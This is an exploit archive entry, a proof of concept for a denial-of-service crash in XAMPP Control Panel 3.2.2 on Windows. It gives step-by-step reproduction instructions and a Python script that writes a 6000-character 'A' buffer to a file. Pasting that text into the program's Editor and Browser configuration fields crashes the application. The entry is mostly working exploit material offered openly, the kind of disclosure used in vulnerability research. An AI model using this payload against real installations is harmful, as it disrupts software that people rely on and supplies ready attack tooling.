XAMPP Control Panel 3.2.2 - Denial of Service (PoC)

Gionathan Reale 2018-09-17 dos windows_x86
# Exploit Title: XAMPP Control Panel 3.2.2 - Denial of Service (PoC)
# Exploit Author: Gionathan "John" Reale 
# Date: 2018-09-14
# Software: XAMPP 
# Version: 3.2.2 / 7.2.9 (Newest version at time of writing)
# Download: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/7.2.9/xampp-portable-win32-7.2.9-0-VC15-installer.exe/download
# Tested on: Windows 7 32bit

# Steps to Reproduce: 
# Run the python exploit script, it will create a new file with the name "exploit.txt".
# Copy the contents of "exploit.txt" 
# Start the program and click "Config(Top Right With Symbol)"
# Paste the contents of "exploit.txt" into the following fields:"Editor" & "Browser".
# Click "Save" and then in the main window Click "Config" > "Apache (httpd.conf)". 
# You will see a crash!

#!/usr/bin/python

buffer = "A" * 6000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"